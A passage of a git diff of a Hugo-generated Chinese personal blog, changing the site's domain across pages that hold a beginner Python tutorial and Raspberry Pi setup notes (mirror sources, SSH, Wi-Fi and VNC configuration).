target=_blank>Suggest Changes</a></div></header><div class=post-content><p>安装python</p><p>推荐安装anaconda3（linux）</p><p>wget <a href=https://mirrors.tuna.tsinghua.edu.cn/anaconda/archive/Anaconda3-2021.05-Linux-x86_64.sh>https://mirrors.tuna.tsinghua.edu.cn/anaconda/archive/Anaconda3-2021.05-Linux-x86_64.sh</a></p><p>dash Anaconda3-2019.10-Linux-x86_64.sh</p><p>根据提示安装，如果还是系统自带的python</p><p>sudo gedit ~/.bashrc</p><p>export PATH="/home/pc/anaconda3/bin:$PATH"</p><p>pc为系统的用户名，请修改成自己的系统用户名，请勿在root用户下安装anaconda3</p><p>注意：如果使用anaconda3，请设置Path环境变量，/Anaconda3，/Anaconda3/Scripts，/Anaconda3brary/bin，这3个路径都需要设置</p><p>Windows和mac 到官网下载安装包，直接下一步安装</p><p>mac安装了Homebrew，可以使用brew install python3</p><p>Windows设置环境变量，PATH 安装路径</p><p>现在liunx一般都会自带有python3,如果没有可以安装一下</p><p>apt install python3</p><p>yun install python3</p><p>注意一下python2.x和python3.x这两个版本是不兼容的，要区分开</p><p>检查是否安装成功，在命令行或者终端输入python3 回车 没有反应或者报错就说明没有安装成功或者可能出问题了
 Windows的一定要注意PATH系统变量</p><p>因为Python语言从规范到解释器都是开源的，所以存在多个解释器</p><p>例如CPython，安装python3.x时就可以直接获取到一个官方版本的解释器：CPython，因为是使用C语言开发的，所以叫CPython</p><p>在命令行或者终端，输入输入python3 回车，如果出现了&#187;> 那么当前状态是python的交互模式</p><p>在交互模式下输入exit()，退出python的交互模式</p><p>在交互模式下执行第一个程序
 print(&ldquo;hello,world&rdquo;)</p><p>回车输出hello，world，这是简单的打印字符串</p><p>除了使用交互模式执行程序，又可以使用.py，在命令行或者终端下 python hello.py，如果报错，请检查程序是否出错或者该文件是否在当前目录下</p><p>交互模式可以直接输出结果，但是使用.py文件却不会，想要输出结果，必须使用print()打印出来</p><p>一个好的开发工具往往可以达到事半功倍的效果，例如pycharm和Visual Studio Code，我使用的是Visual Studio Code</p><p>print()接受多个输出，使用“,”分隔开，也可以输出整数</p><p>当你想让用户输入一点东西的时候，python提供了一个input()，用法如下
 name = input()
@@ -442,8 +442,8 @@
 print(ABC.ID in ABC.USER)
 for i in ABC.__members__.items():
     print(i) // 遍历枚举名称和值，如果只要枚举名称，则去掉.items()
-</code></pre><p>枚举和类的区别：枚举值不可变，枚举具备防止枚举名称重复的功能</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/python/>Python</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/29/><span class=title>« Prev</span><br><span>配置树莓派笔记</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/27/><span class=title>Next »</span><br><span>Python的一些神器的简单用法</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+</code></pre><p>枚举和类的区别：枚举值不可变，枚举具备防止枚举名称重复的功能</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/python/>Python</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/29/><span class=title>« Prev</span><br><span>配置树莓派笔记</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/27/><span class=title>Next »</span><br><span>Python的一些神器的简单用法</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/29/index.html b/posts/29/index.html
index 2ace3463..fa98e78a 100644
--- a/posts/29/index.html
+++ b/posts/29/index.html
@@ -8,15 +8,15 @@
 使用读卡器读取系统信息，在boot目录新建一个名为ssh的空白文件，用来打开ssh服务，ssh文件不需要存在内容 没有用那么需要手动启动ssh服务：service sshd restart
 在boot目录新建一个wpa_supplicant.conf文件
 ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev update_config=1
-network={
ssid=&#34;wifi的名字&#34;
psk=&#34;wifi的密码&#34;
key_mgmt=WPA-PSK
priority=1
}
update_config=1，这个用来控制wifi的优先级，只有一个wifi的时候可有可无，没有影响
+network={ ssid=&#34;wifi的名字&#34; psk=&#34;wifi的密码&#34; key_mgmt=WPA-PSK priority=1 } update_config=1，这个用来控制wifi的优先级，只有一个wifi的时候可有可无，没有影响
 插入内存卡，连接电源，开启树莓派
 Windows10开热点会显示连接设备的ip，wifi路由器的就去路由器后台找
 使用ssh工具，连接树莓派，默认用户名：pi，密码：raspberry 修改用户密码：sudo passwd pi pi是要修改密码的用户
 修改用户名： vi /etc/shadow 把用户名修改为新用户名，其他不要动 vi /etc/group 把用户名修改为新用户名，其他不要动！！！ 修改完，保存，重启
 vnc服务
 sudo raspi-config
-依次操作：Interfacing Options -> VNC -> Yes"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/29/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="配置树莓派笔记"><meta property="og:description" content="（树莓派系统）Raspbian是基于Debian GNU/Linux的免费操作系统，所以可以使用debian的操作方法来配置系统和使用系统
+依次操作：Interfacing Options -> VNC -> Yes"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/29/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="配置树莓派笔记"><meta property="og:description" content="（树莓派系统）Raspbian是基于Debian GNU/Linux的免费操作系统，所以可以使用debian的操作方法来配置系统和使用系统
 现改名为Raspberry Pi OS
 工具：读卡器，16g内存卡，micro usb充电器，树莓派，一台pc
 修改为国内镜像源
@@ -26,14 +26,14 @@
 使用读卡器读取系统信息，在boot目录新建一个名为ssh的空白文件，用来打开ssh服务，ssh文件不需要存在内容 没有用那么需要手动启动ssh服务：service sshd restart
 在boot目录新建一个wpa_supplicant.conf文件
 ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev update_config=1
-network={
ssid=&#34;wifi的名字&#34;
psk=&#34;wifi的密码&#34;
key_mgmt=WPA-PSK
priority=1
}
update_config=1，这个用来控制wifi的优先级，只有一个wifi的时候可有可无，没有影响
+network={ ssid=&#34;wifi的名字&#34; psk=&#34;wifi的密码&#34; key_mgmt=WPA-PSK priority=1 } update_config=1，这个用来控制wifi的优先级，只有一个wifi的时候可有可无，没有影响
 插入内存卡，连接电源，开启树莓派
 Windows10开热点会显示连接设备的ip，wifi路由器的就去路由器后台找
 使用ssh工具，连接树莓派，默认用户名：pi，密码：raspberry 修改用户密码：sudo passwd pi pi是要修改密码的用户
 修改用户名： vi /etc/shadow 把用户名修改为新用户名，其他不要动 vi /etc/group 把用户名修改为新用户名，其他不要动！！！ 修改完，保存，重启
 vnc服务
 sudo raspi-config
-依次操作：Interfacing Options -> VNC -> Yes"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/29/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-16T14:48:00+00:00"><meta property="article:modified_time" content="2021-06-16T14:48:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="配置树莓派笔记"><meta name=twitter:description content="（树莓派系统）Raspbian是基于Debian GNU/Linux的免费操作系统，所以可以使用debian的操作方法来配置系统和使用系统
+依次操作：Interfacing Options -> VNC -> Yes"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/29/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-16T14:48:00+00:00"><meta property="article:modified_time" content="2021-06-16T14:48:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="配置树莓派笔记"><meta name=twitter:description content="（树莓派系统）Raspbian是基于Debian GNU/Linux的免费操作系统，所以可以使用debian的操作方法来配置系统和使用系统
 现改名为Raspberry Pi OS
 工具：读卡器，16g内存卡，micro usb充电器，树莓派，一台pc
 修改为国内镜像源
@@ -43,31 +43,31 @@
 使用读卡器读取系统信息，在boot目录新建一个名为ssh的空白文件，用来打开ssh服务，ssh文件不需要存在内容 没有用那么需要手动启动ssh服务：service sshd restart
 在boot目录新建一个wpa_supplicant.conf文件
 ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev update_config=1
-network={
ssid=&#34;wifi的名字&#34;
psk=&#34;wifi的密码&#34;
key_mgmt=WPA-PSK
priority=1
}
update_config=1，这个用来控制wifi的优先级，只有一个wifi的时候可有可无，没有影响
+network={ ssid=&#34;wifi的名字&#34; psk=&#34;wifi的密码&#34; key_mgmt=WPA-PSK priority=1 } update_config=1，这个用来控制wifi的优先级，只有一个wifi的时候可有可无，没有影响
 插入内存卡，连接电源，开启树莓派
 Windows10开热点会显示连接设备的ip，wifi路由器的就去路由器后台找
 使用ssh工具，连接树莓派，默认用户名：pi，密码：raspberry 修改用户密码：sudo passwd pi pi是要修改密码的用户
 修改用户名： vi /etc/shadow 把用户名修改为新用户名，其他不要动 vi /etc/group 把用户名修改为新用户名，其他不要动！！！ 修改完，保存，重启
 vnc服务
 sudo raspi-config
-依次操作：Interfacing Options -> VNC -> Yes"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"配置树莓派笔记","item":"https://xiaochenabc123.github.io/posts/29/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"配置树莓派笔记","name":"配置树莓派笔记","description":"（树莓派系统）Raspbian是基于Debian GNU/Linux的免费操作系统，所以可以使用debian的操作方法来配置系统和使用系统\n现改名为Raspberry Pi OS\n工具：读卡器，16g内存卡，micro usb充电器，树莓派，一台pc\n修改为国内镜像源\n# 编辑 /etc/apt/sources.list 文件，删除原文件所有内容，用以下内容取代： deb http://mirrors.tuna.tsinghua.edu.cn/raspberry-pi-os/raspbian/ buster main non-free contrib rpi deb-src http://mirrors.tuna.tsinghua.edu.cn/raspberry-pi-os/raspbian/ buster main non-free contrib rpi\n# 编辑 /etc/apt/sources.list.d/raspi.list 文件，删除原文件所有内容，用以下内容取代： deb http://mirrors.tuna.tsinghua.edu.cn/raspberrypi/ buster main ui\n使用刻录工具刻录树莓派系统（Win32DiskImager）\n使用读卡器读取系统信息，在boot目录新建一个名为ssh的空白文件，用来打开ssh服务，ssh文件不需要存在内容 没有用那么需要手动启动ssh服务：service sshd restart\n在boot目录新建一个wpa_supplicant.conf文件\nctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev update_config=1\nnetwork={\rssid=\u0026quot;wifi的名字\u0026quot;\rpsk=\u0026quot;wifi的密码\u0026quot;\rkey_mgmt=WPA-PSK\rpriority=1\r}\rupdate_config=1，这个用来控制wifi的优先级，只有一个wifi的时候可有可无，没有影响\n插入内存卡，连接电源，开启树莓派\nWindows10开热点会显示连接设备的ip，wifi路由器的就去路由器后台找\n使用ssh工具，连接树莓派，默认用户名：pi，密码：raspberry 修改用户密码：sudo passwd pi pi是要修改密码的用户\n修改用户名： vi /etc/shadow 把用户名修改为新用户名，其他不要动 vi /etc/group 把用户名修改为新用户名，其他不要动！！！ 修改完，保存，重启\nvnc服务\nsudo raspi-config\n依次操作：Interfacing Options -\u0026gt; VNC -\u0026gt; Yes","keywords":["Linux"],"articleBody":"（树莓派系统）Raspbian是基于Debian GNU/Linux的免费操作系统，所以可以使用debian的操作方法来配置系统和使用系统\n现改名为Raspberry Pi OS\n工具：读卡器，16g内存卡，micro usb充电器，树莓派，一台pc\n修改为国内镜像源\n# 编辑 /etc/apt/sources.list 文件，删除原文件所有内容，用以下内容取代： deb http://mirrors.tuna.tsinghua.edu.cn/raspberry-pi-os/raspbian/ buster main non-free contrib rpi deb-src http://mirrors.tuna.tsinghua.edu.cn/raspberry-pi-os/raspbian/ buster main non-free contrib rpi\n# 编辑 /etc/apt/sources.list.d/raspi.list 文件，删除原文件所有内容，用以下内容取代： deb http://mirrors.tuna.tsinghua.edu.cn/raspberrypi/ buster main ui\n使用刻录工具刻录树莓派系统（Win32DiskImager）\n使用读卡器读取系统信息，在boot目录新建一个名为ssh的空白文件，用来打开ssh服务，ssh文件不需要存在内容 没有用那么需要手动启动ssh服务：service sshd restart\n在boot目录新建一个wpa_supplicant.conf文件\nctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev update_config=1\nnetwork={\rssid=\"wifi的名字\"\rpsk=\"wifi的密码\"\rkey_mgmt=WPA-PSK\rpriority=1\r}\rupdate_config=1，这个用来控制wifi的优先级，只有一个wifi的时候可有可无，没有影响\n插入内存卡，连接电源，开启树莓派\nWindows10开热点会显示连接设备的ip，wifi路由器的就去路由器后台找\n使用ssh工具，连接树莓派，默认用户名：pi，密码：raspberry 修改用户密码：sudo passwd pi pi是要修改密码的用户\n修改用户名： vi /etc/shadow 把用户名修改为新用户名，其他不要动 vi /etc/group 把用户名修改为新用户名，其他不要动！！！ 修改完，保存，重启\nvnc服务\nsudo raspi-config\n依次操作：Interfacing Options -\u003e VNC -\u003e Yes\n选择第5个的interfacing Options\n找到第3个的vnc\n系统会提示是否安装vnc服务，回复y或者yes，等待系统安装完成\n或者安装vnc apt-get install x11vnc\nx11vnc -storepasswd 设置vnc密码，vnc登录使用\nx11vnc -usepw 用密码形式来启动vnc\nx11vnc -usepw -forever 防止vnc闪退，一直连接vnc\n开启桌面\nsudo raspi-config\n找到Boot Options，选择Desktop，重启\nssh-keygen 为了防止ssh连接每次都要输入密码，而设置的key密匙\nssh-copy-id pi@192.168.137.230 推送到要ssh的linux机子\n","wordCount":"103","inLanguage":"en","datePublished":"2021-06-16T14:48:00Z","dateModified":"2021-06-16T14:48:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/29/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>配置树莓派笔记</h1><div class=post-meta><span title='2021-06-16 14:48:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/%e9%85%8d%e7%bd%ae%e6%a0%91%e8%8e%93%e6%b4%be%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>（树莓派系统）Raspbian是基于Debian GNU/Linux的免费操作系统，所以可以使用debian的操作方法来配置系统和使用系统</p><p>现改名为Raspberry Pi OS</p><p>工具：读卡器，16g内存卡，micro usb充电器，树莓派，一台pc</p><p>修改为国内镜像源</p><p># 编辑 <code>/etc/apt/sources.list</code> 文件，删除原文件所有内容，用以下内容取代：
+依次操作：Interfacing Options -> VNC -> Yes"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"配置树莓派笔记","item":"https://chenjunlinabc.github.io/posts/29/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"配置树莓派笔记","name":"配置树莓派笔记","description":"（树莓派系统）Raspbian是基于Debian GNU/Linux的免费操作系统，所以可以使用debian的操作方法来配置系统和使用系统\n现改名为Raspberry Pi OS\n工具：读卡器，16g内存卡，micro usb充电器，树莓派，一台pc\n修改为国内镜像源\n# 编辑 /etc/apt/sources.list 文件，删除原文件所有内容，用以下内容取代： deb http://mirrors.tuna.tsinghua.edu.cn/raspberry-pi-os/raspbian/ buster main non-free contrib rpi deb-src http://mirrors.tuna.tsinghua.edu.cn/raspberry-pi-os/raspbian/ buster main non-free contrib rpi\n# 编辑 /etc/apt/sources.list.d/raspi.list 文件，删除原文件所有内容，用以下内容取代： deb http://mirrors.tuna.tsinghua.edu.cn/raspberrypi/ buster main ui\n使用刻录工具刻录树莓派系统（Win32DiskImager）\n使用读卡器读取系统信息，在boot目录新建一个名为ssh的空白文件，用来打开ssh服务，ssh文件不需要存在内容 没有用那么需要手动启动ssh服务：service sshd restart\n在boot目录新建一个wpa_supplicant.conf文件\nctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev update_config=1\nnetwork={ ssid=\u0026quot;wifi的名字\u0026quot; psk=\u0026quot;wifi的密码\u0026quot; key_mgmt=WPA-PSK priority=1 } update_config=1，这个用来控制wifi的优先级，只有一个wifi的时候可有可无，没有影响\n插入内存卡，连接电源，开启树莓派\nWindows10开热点会显示连接设备的ip，wifi路由器的就去路由器后台找\n使用ssh工具，连接树莓派，默认用户名：pi，密码：raspberry 修改用户密码：sudo passwd pi pi是要修改密码的用户\n修改用户名： vi /etc/shadow 把用户名修改为新用户名，其他不要动 vi /etc/group 把用户名修改为新用户名，其他不要动！！！ 修改完，保存，重启\nvnc服务\nsudo raspi-config\n依次操作：Interfacing Options -\u0026gt; VNC -\u0026gt; Yes","keywords":["Linux"],"articleBody":"（树莓派系统）Raspbian是基于Debian GNU/Linux的免费操作系统，所以可以使用debian的操作方法来配置系统和使用系统\n现改名为Raspberry Pi OS\n工具：读卡器，16g内存卡，micro usb充电器，树莓派，一台pc\n修改为国内镜像源\n# 编辑 /etc/apt/sources.list 文件，删除原文件所有内容，用以下内容取代： deb http://mirrors.tuna.tsinghua.edu.cn/raspberry-pi-os/raspbian/ buster main non-free contrib rpi deb-src http://mirrors.tuna.tsinghua.edu.cn/raspberry-pi-os/raspbian/ buster main non-free contrib rpi\n# 编辑 /etc/apt/sources.list.d/raspi.list 文件，删除原文件所有内容，用以下内容取代： deb http://mirrors.tuna.tsinghua.edu.cn/raspberrypi/ buster main ui\n使用刻录工具刻录树莓派系统（Win32DiskImager）\n使用读卡器读取系统信息，在boot目录新建一个名为ssh的空白文件，用来打开ssh服务，ssh文件不需要存在内容 没有用那么需要手动启动ssh服务：service sshd restart\n在boot目录新建一个wpa_supplicant.conf文件\nctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev update_config=1\nnetwork={ ssid=\"wifi的名字\" psk=\"wifi的密码\" key_mgmt=WPA-PSK priority=1 } update_config=1，这个用来控制wifi的优先级，只有一个wifi的时候可有可无，没有影响\n插入内存卡，连接电源，开启树莓派\nWindows10开热点会显示连接设备的ip，wifi路由器的就去路由器后台找\n使用ssh工具，连接树莓派，默认用户名：pi，密码：raspberry 修改用户密码：sudo passwd pi pi是要修改密码的用户\n修改用户名： vi /etc/shadow 把用户名修改为新用户名，其他不要动 vi /etc/group 把用户名修改为新用户名，其他不要动！！！ 修改完，保存，重启\nvnc服务\nsudo raspi-config\n依次操作：Interfacing Options -\u003e VNC -\u003e Yes\n选择第5个的interfacing Options\n找到第3个的vnc\n系统会提示是否安装vnc服务，回复y或者yes，等待系统安装完成\n或者安装vnc apt-get install x11vnc\nx11vnc -storepasswd 设置vnc密码，vnc登录使用\nx11vnc -usepw 用密码形式来启动vnc\nx11vnc -usepw -forever 防止vnc闪退，一直连接vnc\n开启桌面\nsudo raspi-config\n找到Boot Options，选择Desktop，重启\nssh-keygen 为了防止ssh连接每次都要输入密码，而设置的key密匙\nssh-copy-id pi@192.168.137.230 推送到要ssh的linux机子\n","wordCount":"103","inLanguage":"en","datePublished":"2021-06-16T14:48:00Z","dateModified":"2021-06-16T14:48:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/29/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" 